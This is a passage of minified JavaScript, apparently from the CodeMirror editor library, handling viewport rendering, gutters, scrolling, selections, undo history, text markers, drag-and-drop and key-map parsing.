fd(a,f.text,d),f.stateAfter=0==d.line%5?d.save():null;d.nextLine();if(+new Date>c)return Gb(a,a.options.workDelay),!0});b.highlightFrontier=d.line;b.modeFrontier=Math.max(b.modeFrontier,d.line);e.length&&aa(a,function(){for(var b=0;b<e.length;b++)Ba(a,e[b],"text")})}}function xd(a,b){var c=a.display,d=a.doc;if(b.editorIsHidden)return Aa(a),!1;if(!b.force&&b.visible.from>=c.viewFrom&&b.visible.to<=c.viewTo&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo)&&c.renderedView==c.view&&0==Ue(a))return!1;
Ne(a)&&(Aa(a),b.dims=md(a));var e=d.first+d.size,f=Math.max(b.visible.from-a.options.viewportMargin,d.first),g=Math.min(e,b.visible.to+a.options.viewportMargin);c.viewFrom<f&&20>f-c.viewFrom&&(f=Math.max(d.first,c.viewFrom));c.viewTo>g&&20>c.viewTo-g&&(g=Math.min(e,c.viewTo));ya&&(f=Uc(a.doc,f),g=$d(a.doc,g));d=f!=c.viewFrom||g!=c.viewTo||c.lastWrapHeight!=b.wrapperHeight||c.lastWrapWidth!=b.wrapperWidth;e=a.display;0==e.view.length||f>=e.viewTo||g<=e.viewFrom?(e.view=oc(a,f,g),e.viewFrom=f):(e.viewFrom>
f?e.view=oc(a,f,e.viewFrom).concat(e.view):e.viewFrom<f&&(e.view=e.view.slice(Oa(a,f))),e.viewFrom=f,e.viewTo<g?e.view=e.view.concat(oc(a,e.viewTo,g)):e.viewTo>g&&(e.view=e.view.slice(0,Oa(a,g))));e.viewTo=g;c.viewOffset=oa(u(a.doc,c.viewFrom));a.display.mover.style.top=c.viewOffset+"px";g=Ue(a);if(!d&&0==g&&!b.force&&c.renderedView==c.view&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo))return!1;a.hasFocus()?f=null:(f=ra())&&ha(a.display.lineDiv,f)?(f={activeElt:f},window.getSelection&&
(e=window.getSelection(),e.anchorNode&&e.extend&&ha(a.display.lineDiv,e.anchorNode)&&(f.anchorNode=e.anchorNode,f.anchorOffset=e.anchorOffset,f.focusNode=e.focusNode,f.focusOffset=e.focusOffset))):f=null;4<g&&(c.lineDiv.style.display="none");zg(a,c.updateLineNumbers,b.dims);4<g&&(c.lineDiv.style.display="");c.renderedView=c.view;(g=f)&&g.activeElt&&g.activeElt!=ra()&&(g.activeElt.focus(),g.anchorNode&&ha(document.body,g.anchorNode)&&ha(document.body,g.focusNode)&&(f=window.getSelection(),e=document.createRange(),
e.setEnd(g.anchorNode,g.anchorOffset),e.collapse(!1),f.removeAllRanges(),f.addRange(e),f.extend(g.focusNode,g.focusOffset)));H(c.cursorDiv);H(c.selectionDiv);c.gutters.style.height=c.sizer.style.minHeight=0;d&&(c.lastWrapHeight=b.wrapperHeight,c.lastWrapWidth=b.wrapperWidth,Gb(a,400));c.updateLineNumbers=null;return!0}function Te(a,b){for(var c=b.viewport,d=!0;;d=!1){if(!d||!a.options.lineWrapping||b.oldDisplayWidth==Na(a))if(c&&null!=c.top&&(c={top:Math.min(a.doc.height+jd(a.display)-kd(a),c.top)}),
b.visible=td(a.display,a.doc,c),b.visible.from>=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!xd(a,b))break;sc(a);d=Hb(a);Cb(a);fb(a,d);yd(a,d);b.force=!1}b.signal(a,"update",a);if(a.display.viewFrom!=a.display.reportedViewFrom||a.display.viewTo!=a.display.reportedViewTo)b.signal(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo}function wd(a,b){b=new vc(a,b);if(xd(a,b)){sc(a);Te(a,b);var c=
Hb(a);Cb(a);fb(a,c);yd(a,c);b.finish()}}function zg(a,b,c){function d(b){var d=b.nextSibling;T&&ia&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b);return d}for(var e=a.display,f=a.options.lineNumbers,g=e.lineDiv,h=g.firstChild,k=e.view,e=e.viewFrom,l=0;l<k.length;l++){var m=k[l];if(!m.hidden)if(m.node&&m.node.parentNode==g){for(;h!=m.node;)h=d(h);h=f&&null!=b&&b<=e&&m.lineNumber;m.changes&&(-1<Q(m.changes,"gutter")&&(h=!1),re(a,m,e,c));h&&(H(m.lineNumber),m.lineNumber.appendChild(document.createTextNode(Qc(a.options,
e))));h=m.node.nextSibling}else{var p=tg(a,m,e,c);g.insertBefore(p,h)}e+=m.size}for(;h;)h=d(h)}function ud(a){a.display.sizer.style.marginLeft=a.display.gutters.offsetWidth+"px"}function yd(a,b){a.display.sizer.style.minHeight=b.docHeight+"px";a.display.heightForcer.style.top=b.docHeight+"px";a.display.gutters.style.height=b.docHeight+a.display.barHeight+pa(a)+"px"}function Ve(a){var b=a.display.gutters,c=a.options.gutters;H(b);for(var d=0;d<c.length;++d){var e=c[d],f=b.appendChild(t("div",null,"CodeMirror-gutter "+
e));"CodeMirror-linenumbers"==e&&(a.display.lineGutter=f,f.style.width=(a.display.lineNumWidth||1)+"px")}b.style.display=d?"":"none";ud(a)}function zd(a){var b=Q(a.gutters,"CodeMirror-linenumbers");-1==b&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):-1<b&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function We(a){var b=a.wheelDeltaX,c=a.wheelDeltaY;null==b&&a.detail&&a.axis==a.HORIZONTAL_AXIS&&(b=a.detail);null==c&&a.detail&&a.axis==a.VERTICAL_AXIS?
c=a.detail:null==c&&(c=a.wheelDelta);return{x:b,y:c}}function Ag(a){a=We(a);a.x*=da;a.y*=da;return a}function Xe(a,b){var c=We(b),d=c.x,c=c.y,e=a.display,f=e.scroller,g=f.scrollWidth>f.clientWidth,h=f.scrollHeight>f.clientHeight;if(d&&g||c&&h){if(c&&ia&&T){var g=b.target,k=e.view;a:for(;g!=f;g=g.parentNode)for(var l=0;l<k.length;l++)if(k[l].node==g){a.display.currentWheelTarget=g;break a}}!d||xa||ka||null==da?(c&&null!=da&&(b=c*da,h=a.doc.scrollTop,g=h+e.wrapper.clientHeight,0>b?h=Math.max(0,h+b-
50):g=Math.min(a.doc.height,g+b+50),wd(a,{top:h,bottom:g})),20>xc&&(null==e.wheelStartX?(e.wheelStartX=f.scrollLeft,e.wheelStartY=f.scrollTop,e.wheelDX=d,e.wheelDY=c,setTimeout(function(){if(null!=e.wheelStartX){var a=f.scrollLeft-e.wheelStartX,b=f.scrollTop-e.wheelStartY,a=b&&e.wheelDY&&b/e.wheelDY||a&&e.wheelDX&&a/e.wheelDX;e.wheelStartX=e.wheelStartY=null;a&&(da=(da*xc+a)/(xc+1),++xc)}},200)):(e.wheelDX+=d,e.wheelDY+=c))):(c&&h&&Fb(a,Math.max(0,f.scrollTop+c*da)),Ta(a,Math.max(0,f.scrollLeft+d*
da)),(!c||c&&h)&&V(b),e.wheelStartX=null)}}function la(a,b){b=a[b];a.sort(function(a,b){return A(a.from(),b.from())});b=Q(a,b);for(var c=1;c<a.length;c++){var d=a[c],e=a[c-1];if(0<=A(e.to(),d.from())){var f=ic(e.from(),d.from()),g=hc(e.to(),d.to()),d=e.empty()?d.from()==d.head:e.from()==e.head;c<=b&&--b;a.splice(--c,2,new C(d?g:f,d?f:g))}}return new ea(a,b)}function wa(a,b){return new ea([new C(a,b||a)],0)}function Ca(a){return a.text?r(a.from.line+a.text.length-1,y(a.text).length+(1==a.text.length?
a.from.ch:0)):a.to}function Ye(a,b){if(0>A(a,b.from))return a;if(0>=A(a,b.to))return Ca(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;a.line==b.to.line&&(d+=Ca(b).ch-b.to.ch);return r(c,d)}function Ad(a,b){for(var c=[],d=0;d<a.sel.ranges.length;d++){var e=a.sel.ranges[d];c.push(new C(Ye(e.anchor,b),Ye(e.head,b)))}return la(c,a.sel.primIndex)}function Ze(a,b,c){return a.line==b.line?r(c.line,a.ch-b.ch+c.ch):r(c.line+(a.line-b.line),a.ch)}function Bd(a){a.doc.mode=dd(a.options,a.doc.modeOption);
Ib(a)}function Ib(a){a.doc.iter(function(a){a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null)});a.doc.modeFrontier=a.doc.highlightFrontier=a.doc.first;Gb(a,100);a.state.modeGen++;a.curOp&&Y(a)}function $e(a,b){return 0==b.from.ch&&0==b.to.ch&&""==y(b.text)&&(!a.cm||a.cm.options.wholeLineUpdateBefore)}function Cd(a,b,c,d){function e(a,c,e){a.text=c;a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null);null!=a.order&&(a.order=null);Wd(a);Xd(a,e);c=d?d(a):1;c!=a.height&&ma(a,c);R(a,"change",
a,b)}function f(a,b){for(var e=[];a<b;++a)e.push(new gb(k[a],c?c[a]:null,d));return e}var g=b.from,h=b.to,k=b.text,l=u(a,g.line),m=u(a,h.line),p=y(k),n=c?c[k.length-1]:null,q=h.line-g.line;b.full?(a.insert(0,f(0,k.length)),a.remove(k.length,a.size-k.length)):$e(a,b)?(h=f(0,k.length-1),e(m,m.text,n),q&&a.remove(g.line,q),h.length&&a.insert(g.line,h)):l==m?1==k.length?e(l,l.text.slice(0,g.ch)+p+l.text.slice(h.ch),n):(q=f(1,k.length-1),q.push(new gb(p+l.text.slice(h.ch),n,d)),e(l,l.text.slice(0,g.ch)+
k[0],c?c[0]:null),a.insert(g.line+1,q)):1==k.length?(e(l,l.text.slice(0,g.ch)+k[0]+m.text.slice(h.ch),c?c[0]:null),a.remove(g.line+1,q)):(e(l,l.text.slice(0,g.ch)+k[0],c?c[0]:null),e(m,p+m.text.slice(h.ch),n),n=f(1,k.length-1),1<q&&a.remove(g.line+1,q-1),a.insert(g.line+1,n));R(a,"change",a,b)}function Wa(a,b,c){function d(a,f,g){if(a.linked)for(var e=0;e<a.linked.length;++e){var k=a.linked[e];if(k.doc!=f){var l=g&&k.sharedHist;if(!c||l)b(k.doc,l),d(k.doc,a,l)}}}d(a,null,!0)}function af(a,b){if(b.cm)throw Error("This document is already in use.");
a.doc=b;b.cm=a;qd(a);Bd(a);bf(a);a.options.lineWrapping||Wc(a);a.options.mode=b.modeOption;Y(a)}function bf(a){("rtl"==a.doc.direction?Fa:Sa)(a.display.lineDiv,"CodeMirror-rtl")}function Bg(a){aa(a,function(){bf(a);Y(a)})}function yc(a){this.done=[];this.undone=[];this.undoDepth=Infinity;this.lastModTime=this.lastSelTime=0;this.lastOrigin=this.lastSelOrigin=this.lastOp=this.lastSelOp=null;this.generation=this.maxGeneration=a||1}function Dd(a,b){var c={from:Sc(b.from),to:Ca(b),text:Ha(a,b.from,b.to)};
cf(a,c,b.from.line,b.to.line+1);Wa(a,function(a){return cf(a,c,b.from.line,b.to.line+1)},!0);return c}function df(a){for(;a.length;)if(y(a).ranges)a.pop();else break}function ef(a,b,c,d){var e=a.history;e.undone.length=0;var f=+new Date,g;if(g=e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&a.cm&&e.lastModTime>f-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0))){if(e.lastOp==d){df(e.done);var h=y(e.done)}else e.done.length&&!y(e.done).ranges?h=y(e.done):1<e.done.length&&
!e.done[e.done.length-2].ranges?(e.done.pop(),h=y(e.done)):h=void 0;g=h}if(g){var k=y(h.changes);0==A(b.from,b.to)&&0==A(b.from,k.to)?k.to=Ca(b):h.changes.push(Dd(a,b))}else for((h=y(e.done))&&h.ranges||zc(a.sel,e.done),h={changes:[Dd(a,b)],generation:e.generation},e.done.push(h);e.done.length>e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift();e.done.push(c);e.generation=++e.maxGeneration;e.lastModTime=e.lastSelTime=f;e.lastOp=e.lastSelOp=d;e.lastOrigin=e.lastSelOrigin=b.origin;k||J(a,"historyAdded")}
function zc(a,b){var c=y(b);c&&c.ranges&&c.equals(a)||b.push(a)}function cf(a,b,c,d){var e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(d){d.markedSpans&&((e||(e=b["spans_"+a.id]={}))[f]=d.markedSpans);++f})}function Cg(a){if(!a)return null;for(var b,c=0;c<a.length;++c)a[c].marker.explicitlyCleared?b||(b=a.slice(0,c)):b&&b.push(a[c]);return b?b.length?b:null:a}function ff(a,b){var c;if(c=b["spans_"+a.id]){for(var d=[],e=0;e<b.text.length;++e)d.push(Cg(c[e]));
c=d}else c=null;a=Tc(a,b);if(!c)return a;if(!a)return c;for(b=0;b<c.length;++b)if(d=c[b],e=a[b],d&&e){var f=0;a:for(;f<e.length;++f){for(var g=e[f],h=0;h<d.length;++h)if(d[h].marker==g.marker)continue a;d.push(g)}}else e&&(c[b]=e);return c}function hb(a,b,c){for(var d=[],e=0;e<a.length;++e){var f=a[e];if(f.ranges)d.push(c?ea.prototype.deepCopy.call(f):f);else{var f=f.changes,g=[];d.push({changes:g});for(var h=0;h<f.length;++h){var k=f[h],l;g.push({from:k.from,to:k.to,text:k.text});if(b)for(var m in k)(l=
m.match(/^spans_(\d+)$/))&&-1<Q(b,Number(l[1]))&&(y(g)[m]=k[m],delete k[m])}}}return d}function Ed(a,b,c,d){return d?(a=a.anchor,c&&(d=0>A(b,a),d!=0>A(c,a)?(a=b,b=c):d!=0>A(b,c)&&(b=c)),new C(a,b)):new C(c||b,b)}function Ac(a,b,c,d,e){null==e&&(e=a.cm&&(a.cm.display.shift||a.extend));S(a,new ea([Ed(a.sel.primary(),b,c,e)],0),d)}function gf(a,b,c){for(var d=[],e=a.cm&&(a.cm.display.shift||a.extend),f=0;f<a.sel.ranges.length;f++)d[f]=Ed(a.sel.ranges[f],b[f],null,e);b=la(d,a.sel.primIndex);S(a,b,c)}
function Fd(a,b,c,d){var e=a.sel.ranges.slice(0);e[b]=c;S(a,la(e,a.sel.primIndex),d)}function Dg(a,b,c){c={ranges:b.ranges,update:function(b){this.ranges=[];for(var d=0;d<b.length;d++)this.ranges[d]=new C(x(a,b[d].anchor),x(a,b[d].head))},origin:c&&c.origin};J(a,"beforeSelectionChange",a,c);a.cm&&J(a.cm,"beforeSelectionChange",a.cm,c);return c.ranges!=b.ranges?la(c.ranges,c.ranges.length-1):b}function hf(a,b,c){var d=a.history.done,e=y(d);e&&e.ranges?(d[d.length-1]=b,Bc(a,b,c)):S(a,b,c)}function S(a,
b,c){Bc(a,b,c);b=a.sel;var d=a.cm?a.cm.curOp.id:NaN,e=a.history,f=c&&c.origin,g;if(!(g=d==e.lastSelOp)&&(g=f&&e.lastSelOrigin==f)&&!(g=e.lastModTime==e.lastSelTime&&e.lastOrigin==f)){g=y(e.done);var h=f.charAt(0);g="*"==h||"+"==h&&g.ranges.length==b.ranges.length&&g.somethingSelected()==b.somethingSelected()&&new Date-a.history.lastSelTime<=(a.cm?a.cm.options.historyEventDelay:500)}g?e.done[e.done.length-1]=b:zc(b,e.done);e.lastSelTime=+new Date;e.lastSelOrigin=f;e.lastSelOp=d;c&&!1!==c.clearRedo&&
df(e.undone)}function Bc(a,b,c){if(ga(a,"beforeSelectionChange")||a.cm&&ga(a.cm,"beforeSelectionChange"))b=Dg(a,b,c);var d=c&&c.bias||(0>A(b.primary().head,a.sel.primary().head)?-1:1);jf(a,kf(a,b,d,!0));c&&!1===c.scroll||!a.cm||eb(a.cm)}function jf(a,b){b.equals(a.sel)||(a.sel=b,a.cm&&(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,ce(a.cm)),R(a,"cursorActivity",a))}function lf(a){jf(a,kf(a,a.sel,null,!1))}function kf(a,b,c,d){for(var e,f=0;f<b.ranges.length;f++){var g=b.ranges[f],h=b.ranges.length==
a.sel.ranges.length&&a.sel.ranges[f],k=Gd(a,g.anchor,h&&h.anchor,c,d),h=Gd(a,g.head,h&&h.head,c,d);if(e||k!=g.anchor||h!=g.head)e||(e=b.ranges.slice(0,f)),e[f]=new C(k,h)}return e?la(e,b.primIndex):b}function ib(a,b,c,d,e){var f=u(a,b.line);if(f.markedSpans)for(var g=0;g<f.markedSpans.length;++g){var h=f.markedSpans[g],k=h.marker;if((null==h.from||(k.inclusiveLeft?h.from<=b.ch:h.from<b.ch))&&(null==h.to||(k.inclusiveRight?h.to>=b.ch:h.to>b.ch))){if(e&&(J(k,"beforeCursorEnter"),k.explicitlyCleared))if(f.markedSpans){--g;
continue}else break;if(k.atomic){if(c){g=k.find(0>d?1:-1);h=void 0;if(0>d?k.inclusiveRight:k.inclusiveLeft)g=mf(a,g,-d,g&&g.line==b.line?f:null);if(g&&g.line==b.line&&(h=A(g,c))&&(0>d?0>h:0<h))return ib(a,g,b,d,e)}c=k.find(0>d?-1:1);if(0>d?k.inclusiveLeft:k.inclusiveRight)c=mf(a,c,d,c.line==b.line?f:null);return c?ib(a,c,b,d,e):null}}}return b}function Gd(a,b,c,d,e){d=d||1;b=ib(a,b,c,d,e)||!e&&ib(a,b,c,d,!0)||ib(a,b,c,-d,e)||!e&&ib(a,b,c,-d,!0);return b?b:(a.cantEdit=!0,r(a.first,0))}function mf(a,
b,c,d){return 0>c&&0==b.ch?b.line>a.first?x(a,r(b.line-1)):null:0<c&&b.ch==(d||u(a,b.line)).text.length?b.line<a.first+a.size-1?r(b.line+1,0):null:new r(b.line,b.ch+c)}function nf(a){a.setSelection(r(a.firstLine(),0),r(a.lastLine()),qa)}function of(a,b,c){var d={canceled:!1,from:b.from,to:b.to,text:b.text,origin:b.origin,cancel:function(){return d.canceled=!0}};c&&(d.update=function(b,c,g,h){b&&(d.from=x(a,b));c&&(d.to=x(a,c));g&&(d.text=g);void 0!==h&&(d.origin=h)});J(a,"beforeChange",a,d);a.cm&&
J(a.cm,"beforeChange",a.cm,d);return d.canceled?null:{from:d.from,to:d.to,text:d.text,origin:d.origin}}function jb(a,b,c){if(a.cm){if(!a.cm.curOp)return O(a.cm,jb)(a,b,c);if(a.cm.state.suppressEdits)return}if(ga(a,"beforeChange")||a.cm&&ga(a.cm,"beforeChange"))if(b=of(a,b,!0),!b)return;if(c=pf&&!c&&eg(a,b.from,b.to))for(var d=c.length-1;0<=d;--d)qf(a,{from:c[d].from,to:c[d].to,text:d?[""]:b.text});else qf(a,b)}function qf(a,b){if(1!=b.text.length||""!=b.text[0]||0!=A(b.from,b.to)){var c=Ad(a,b);ef(a,
b,c,a.cm?a.cm.curOp.id:NaN);Jb(a,b,c,Tc(a,b));var d=[];Wa(a,function(a,c){c||-1!=Q(d,a.history)||(rf(a.history,b),d.push(a.history));Jb(a,b,null,Tc(a,b))})}}function Cc(a,b,c){if(!a.cm||!a.cm.state.suppressEdits||c){for(var d=a.history,e,f=a.sel,g="undo"==b?d.done:d.undone,h="undo"==b?d.undone:d.done,k=0;k<g.length&&(e=g[k],c?!e.ranges||e.equals(a.sel):e.ranges);k++);if(k!=g.length){for(d.lastOrigin=d.lastSelOrigin=null;;)if(e=g.pop(),e.ranges){zc(e,h);if(c&&!e.equals(a.sel)){S(a,e,{clearRedo:!1});
return}f=e}else break;var l=[];zc(f,h);h.push({changes:l,generation:d.generation});d.generation=e.generation||++d.maxGeneration;var m=ga(a,"beforeChange")||a.cm&&ga(a.cm,"beforeChange");c=function(d){var c=e.changes[d];c.origin=b;if(m&&!of(a,c,!1))return g.length=0,{};l.push(Dd(a,c));var f=d?Ad(a,c):y(g);Jb(a,c,f,ff(a,c));!d&&a.cm&&a.cm.scrollIntoView({from:c.from,to:Ca(c)});var h=[];Wa(a,function(a,b){b||-1!=Q(h,a.history)||(rf(a.history,c),h.push(a.history));Jb(a,c,null,ff(a,c))})};for(d=e.changes.length-
1;0<=d;--d)if(f=c(d))return f.v}}}function sf(a,b){if(0!=b&&(a.first+=b,a.sel=new ea(ec(a.sel.ranges,function(a){return new C(r(a.anchor.line+b,a.anchor.ch),r(a.head.line+b,a.head.ch))}),a.sel.primIndex),a.cm)){Y(a.cm,a.first,a.first-b,b);for(var c=a.cm.display,d=c.viewFrom;d<c.viewTo;d++)Ba(a.cm,d,"gutter")}}function Jb(a,b,c,d){if(a.cm&&!a.cm.curOp)return O(a.cm,Jb)(a,b,c,d);if(b.to.line<a.first)sf(a,b.text.length-1-(b.to.line-b.from.line));else if(!(b.from.line>a.lastLine())){if(b.from.line<a.first){var e=
b.text.length-1-(a.first-b.from.line);sf(a,e);b={from:r(a.first,0),to:r(b.to.line+e,b.to.ch),text:[y(b.text)],origin:b.origin}}e=a.lastLine();b.to.line>e&&(b={from:b.from,to:r(e,u(a,e).text.length),text:[b.text[0]],origin:b.origin});b.removed=Ha(a,b.from,b.to);c||(c=Ad(a,b));a.cm?Eg(a.cm,b,d):Cd(a,b,d);Bc(a,c,qa)}}function Eg(a,b,c){var d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,k=f.line;a.options.lineWrapping||(k=E(na(u(d,f.line))),d.iter(k,g.line+1,function(a){if(a==e.maxLine)return h=!0}));-1<d.sel.contains(b.from,
b.to)&&ce(a);Cd(d,b,c,Ge(a));a.options.lineWrapping||(d.iter(k,f.line+b.text.length,function(a){var b=kc(a);b>e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)}),h&&(a.curOp.updateMaxLine=!0));lg(d,f.line);Gb(a,400);c=b.text.length-(g.line-f.line)-1;b.full?Y(a):f.line!=g.line||1!=b.text.length||$e(a.doc,b)?Y(a,f.line,g.line+1,c):Ba(a,f.line,"text");c=ga(a,"changes");if((d=ga(a,"change"))||c)b={from:f,to:g,text:b.text,removed:b.removed,origin:b.origin},d&&R(a,"change",a,b),
c&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(b);a.display.selForContextMenu=null}function kb(a,b,c,d,e){d||(d=c);if(0>A(d,c)){var f=d;d=c;c=f}"string"==typeof b&&(b=a.splitLines(b));jb(a,{from:c,to:d,text:b,origin:e})}function tf(a,b,c,d){c<a.line?a.line+=d:b<a.line&&(a.line=b,a.ch=0)}function uf(a,b,c,d){for(var e=0;e<a.length;++e){var f=a[e],g=!0;if(f.ranges)for(f.copied||(f=a[e]=f.deepCopy(),f.copied=!0),g=0;g<f.ranges.length;g++)tf(f.ranges[g].anchor,b,c,d),tf(f.ranges[g].head,b,c,d);
else{for(var h=0;h<f.changes.length;++h){var k=f.changes[h];if(c<k.from.line)k.from=r(k.from.line+d,k.from.ch),k.to=r(k.to.line+d,k.to.ch);else if(b<=k.to.line){g=!1;break}}g||(a.splice(0,e+1),e=0)}}}function rf(a,b){var c=b.from.line,d=b.to.line;b=b.text.length-(d-c)-1;uf(a.done,c,d,b);uf(a.undone,c,d,b)}function Kb(a,b,c,d){var e=b,f=b;"number"==typeof b?f=u(a,Math.max(a.first,Math.min(b,a.first+a.size-1))):e=E(b);if(null==e)return null;d(f,e)&&a.cm&&Ba(a.cm,e,c);return f}function Lb(a){this.lines=
a;this.parent=null;for(var b=0,c=0;c<a.length;++c)a[c].parent=this,b+=a[c].height;this.height=b}function Mb(a){this.children=a;for(var b=0,c=0,d=0;d<a.length;++d){var e=a[d],b=b+e.chunkSize(),c=c+e.height;e.parent=this}this.size=b;this.height=c;this.parent=null}function Fg(a,b,c,d){var e=new Nb(a,c,d),f=a.cm;f&&e.noHScroll&&(f.display.alignWidgets=!0);Kb(a,b,"widget",function(b){var d=b.widgets||(b.widgets=[]);null==e.insertAt?d.push(e):d.splice(Math.min(d.length-1,Math.max(0,e.insertAt)),0,e);e.line=
b;f&&!Ka(a,b)&&(d=oa(b)<a.scrollTop,ma(b,b.height+zb(e)),d&&tc(f,e.height),f.curOp.forceUpdate=!0);return!0});R(f,"lineWidgetAdded",f,e,"number"==typeof b?b:E(b));return e}function lb(a,b,c,d,e){if(d&&d.shared)return Gg(a,b,c,d,e);if(a.cm&&!a.cm.curOp)return O(a.cm,lb)(a,b,c,d,e);var f=new Da(a,e);e=A(b,c);d&&Ga(d,f,!1);if(0<e||0==e&&!1!==f.clearWhenEmpty)return f;f.replacedWith&&(f.collapsed=!0,f.widgetNode=U("span",[f.replacedWith],"CodeMirror-widget"),d.handleMouseEvents||f.widgetNode.setAttribute("cm-ignore-events",
"true"),d.insertLeft&&(f.widgetNode.insertLeft=!0));if(f.collapsed){if(Zd(a,b.line,b,c,f)||b.line!=c.line&&Zd(a,c.line,b,c,f))throw Error("Inserting collapsed marker partially overlapping an existing one");ya=!0}f.addToHistory&&ef(a,{from:b,to:c,origin:"markText"},a.sel,NaN);var g=b.line,h=a.cm,k;a.iter(g,c.line+1,function(a){h&&f.collapsed&&!h.options.lineWrapping&&na(a)==h.display.maxLine&&(k=!0);f.collapsed&&g!=b.line&&ma(a,0);var d=new jc(f,g==b.line?b.ch:null,g==c.line?c.ch:null);a.markedSpans=
a.markedSpans?a.markedSpans.concat([d]):[d];d.marker.attachLine(a);++g});f.collapsed&&a.iter(b.line,c.line+1,function(b){Ka(a,b)&&ma(b,0)});f.clearOnEnter&&v(f,"beforeCursorEnter",function(){return f.clear()});f.readOnly&&(pf=!0,(a.history.done.length||a.history.undone.length)&&a.clearHistory());f.collapsed&&(f.id=++vf,f.atomic=!0);if(h){k&&(h.curOp.updateMaxLine=!0);if(f.collapsed)Y(h,b.line,c.line+1);else if(f.className||f.title||f.startStyle||f.endStyle||f.css)for(d=b.line;d<=c.line;d++)Ba(h,d,
"text");f.atomic&&lf(h.doc);R(h,"markerAdded",h,f)}return f}function Gg(a,b,c,d,e){d=Ga(d);d.shared=!1;var f=[lb(a,b,c,d,e)],g=f[0],h=d.widgetNode;Wa(a,function(a){h&&(d.widgetNode=h.cloneNode(!0));f.push(lb(a,x(a,b),x(a,c),d,e));for(var k=0;k<a.linked.length;++k)if(a.linked[k].isParent)return;g=y(f)});return new Ob(f,g)}function wf(a){return a.findMarks(r(a.first,0),a.clipPos(r(a.lastLine())),function(a){return a.parent})}function Hg(a){for(var b=function(b){b=a[b];var d=[b.primary.doc];Wa(b.primary.doc,
function(a){return d.push(a)});for(var c=0;c<b.markers.length;c++){var g=b.markers[c];-1==Q(d,g.doc)&&(g.parent=null,b.markers.splice(c--,1))}},c=0;c<a.length;c++)b(c)}function Ig(a){var b=this;xf(b);if(!N(b,a)&&!va(b.display,a)){V(a);D&&(yf=+new Date);var c=Ra(b,a,!0),d=a.dataTransfer.files;if(c&&!b.isReadOnly())if(d&&d.length&&window.FileReader&&window.File)for(var e=d.length,f=Array(e),g=0,h=function(a,d){if(!b.options.allowDropFileTypes||-1!=Q(b.options.allowDropFileTypes,a.type)){var h=new FileReader;
h.onload=O(b,function(){var a=h.result;/[\x00-\x08\x0e-\x1f]{2}/.test(a)&&(a="");f[d]=a;++g==e&&(c=x(b.doc,c),a={from:c,to:c,text:b.doc.splitLines(f.join(b.doc.lineSeparator())),origin:"paste"},jb(b.doc,a),hf(b.doc,wa(c,Ca(a))))});h.readAsText(a)}},k=0;k<e;++k)h(d[k],k);else if(b.state.draggingText&&-1<b.doc.sel.contains(c))b.state.draggingText(a),setTimeout(function(){return b.display.input.focus()},20);else try{if(h=a.dataTransfer.getData("Text")){b.state.draggingText&&!b.state.draggingText.copy&&
(k=b.listSelections());Bc(b.doc,wa(c,c));if(k)for(d=0;d<k.length;++d)kb(b.doc,"",k[d].anchor,k[d].head,"drag");b.replaceSelection(h,"around","paste");b.display.input.focus()}}catch(l){}}}function xf(a){a.display.dragCursor&&(a.display.lineSpace.removeChild(a.display.dragCursor),a.display.dragCursor=null)}function zf(a){if(document.getElementsByClassName)for(var b=document.getElementsByClassName("CodeMirror"),c=0;c<b.length;c++){var d=b[c].CodeMirror;d&&a(d)}}function Jg(){var a;v(window,"resize",
function(){null==a&&(a=setTimeout(function(){a=null;zf(Kg)},100))});v(window,"blur",function(){return zf(Db)})}function Kg(a){var b=a.display;if(b.lastWrapHeight!=b.wrapper.clientHeight||b.lastWrapWidth!=b.wrapper.clientWidth)b.cachedCharWidth=b.cachedTextHeight=b.cachedPaddingH=null,b.scrollbarsClipped=!1,a.setSize()}function Lg(a){var b=a.split(/-(?!$)/);a=b[b.length-1];for(var c,d,e,f,g=0;g<b.length-1;g++){var h=b[g];if(/^(cmd|meta|m)$/i.test(h))f=!0;else if(/^a(lt)?$/i.test(h))c=!0;else if(/^(c|ctrl|control)$/i.test(h))d=
!0;else if(/^s(hift)?$/i.test(h))e=!0;else throw Error("Unrecognized modifier name: "+h);}c&&(a="Alt-"+a);d&&(a="Ctrl-"+a);f&&(a="Cmd-"+a);e&&(a="Shift-"+a);return a}function Mg(a){var b={},c;for(c in a)if(a.hasOwnProperty(c)){var d=a[c];if(!/^(name|fallthrough|(de|at)tach)$/.test(c)){if("..."!=d)for(var e=ec(c.split(" "),Lg),f=0;f<e.length;f++){if(f==e.length-1){var g=e.join(" ");var h=d}else g=e.slice(0,f+1).join(" "),h="...";var k=b[g];if(!k)b[g]=h;else if(k!=h)throw Error("Inconsistent bindings for "+
g);}delete a[c]}}for(var l in b)a[l]=b[l];return a}function mb(a,b,c,d){b=Dc(b);var e=b.call?b.call(a,d):b[a];if(!1===e)return"nothing";if("..."===e)return"multi";if(null!=e&&c(e))return"handled";if(b.fallthrough){if("[object Array]"!=Object.prototype.toString.call(b.fallthrough))return mb(a,b.fallthrough,c,d);for(e=0;e<b.fallthrough.length;e++){var f=mb(a,b.fallthrough[e],c,d);if(f)return f}}}function Af(a){a="string"==typeof a?a:Ea[a.keyCode];return"Ctrl"==a||"Alt"==a||"Shift"==a||"Mod"==a}function Bf(a,
